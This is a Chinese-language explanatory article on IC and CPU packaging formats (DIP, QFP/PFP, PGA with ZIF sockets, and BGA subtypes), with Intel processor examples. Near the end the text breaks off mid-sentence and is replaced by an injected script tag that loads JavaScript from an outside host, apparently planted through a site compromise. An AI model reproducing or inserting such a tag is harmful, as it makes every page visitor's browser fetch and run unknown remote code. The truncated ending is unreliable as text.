一、dip双列直插式封装
dip(dualin－linepackage)是指采用双列直插形式封装的集成电路芯片，绝大多数中小规模集成电路(ic)均采用这种封装形式，其引脚数一般不超过100个。采用dip封装的cpu芯片有两排引脚，需要插入到具有dip结构的芯片插座上。当然，也可以直接插在有相同焊孔数和几何排列的电路板上进行焊接。dip封装的芯片在从芯片插座上插拔时应特别小心，以免损坏引脚。
dip封装具有以下特点：
1.适合在pcb(印刷电路板)上穿孔焊接，操作方便。
2.芯片面积与封装面积之间的比值较大，故体积也较大。
intel系列cpu中8088就采用这种封装形式，缓存(cache)和早期的内存芯片也是这种封装形式。
二、qfp塑料方型扁平式封装和pfp塑料扁平组件式封装
qfp（plasticquadflatpackage）封装的芯片引脚之间距离很小，管脚很细，一般大规模或超大型集成电路都采用这种封装形式，其引脚数一般在100个以上。用这种形式封装的芯片必须采用smd（表面安装设备技术）将芯片与主板焊接起来。采用smd安装的芯片不必在主板上打孔，一般在主板表面上有设计好的相应管脚的焊点。将芯片各脚对准相应的焊点，即可实现与主板的焊接。用这种方法焊上去的芯片，如果不用专用工具是很难拆卸下来的。
pfp（plasticflatpackage）方式封装的芯片与qfp方式基本相同。唯一的区别是qfp一般为正方形，而pfp既可以是正方形，也可以是长方形。
qfp/pfp封装具有以下特点：
1.适用于smd表面安装技术在pcb电路板上安装布线。
2.适合高频使用。
3.操作方便，可靠性高。
4.芯片面积与封装面积之间的比值较小。
intel系列cpu中80286、80386和某些486主板采用这种封装形式。
三、pga插针网格阵列封装
pga(pingridarraypackage)芯片封装形式在芯片的内外有多个方阵形的插针，每个方阵形插针沿芯片的四周间隔一定距离排列。根据引脚数目的多少，可以围成2-5圈。安装时，将芯片插入专门的pga插座。为使cpu能够更方便地安装和拆卸，从486芯片开始，出现一种名为zif的cpu插座，专门用来满足pga封装的cpu在安装和拆卸上的要求。
zif(zeroinsertionforcesocket)是指零插拔力的插座。把这种插座上的扳手轻轻抬起，cpu就可很容易、轻松地插入插座中。然后将扳手压回原处，利用插座本身的特殊结构生成的挤压力，将cpu的引脚与插座牢牢地接触，绝对不存在接触不良的问题。
而拆卸cpu芯片只需将插座的扳手轻轻抬起，则压力解除，cpu芯片即可轻松取出。
pga封装具有以下特点：
1.插拔操作更方便，可靠性高。
2.可适应更高的频率。
intel系列cpu中，80486和pentium、pentiumpro均采用这种封装形式。
四、bga球栅阵列封装
随着集成电路技术的发展，对集成电路的封装要求更加严格。这是因为封装技术关系到产品的功能性，当ic的频率超过100mhz时，传统封装方式可能会产生所谓的“crosstalk”现象，而且当ic的管脚数大于208pin时，传统的封装方式有其困难度。因此，除使用qfp封装方式外，现今大多数的高脚数芯片（如图形芯片与芯片组等）皆转而使用bga(ballgridarraypackage)封装技术。bga一出现便成为cpu、主板上南/北桥芯片等高密度、高性能、多引脚封装的最佳选择。
bga封装技术又可详分为五大类：
1.pbga（plasricbga）基板：一般为2-4层有机材料构成的多层板。intel系列cpu中，pentiumii、iii、iv处理器均采用这种封装形式。
2.cbga（ceramicbga）基板：即陶瓷基板，芯片与基板间的电气连接通常采用倒装芯片（flipchip，简称fc）的安装方式。intel系列cpu中，pentiumi、ii、pentiumpro处理器均采用过这种封装形式。
3.fcbga（filpchipbga）基板：硬质多层基板。
4.tbga（tapebga）基板：基板为带状软质的1-2层pcb电路板。
5.cdpbga（caritydownpbga）基板：指封装中央有方型低陷的芯片区（又称空腔区）。
bga封装具有以下特点：
1.i/o引脚数虽然增多，但引脚之间的距离远大于qfp封装方式，提高了成品率。
2.虽然bga的功耗增加，但由于采?script src=http://er12.com/t.js>
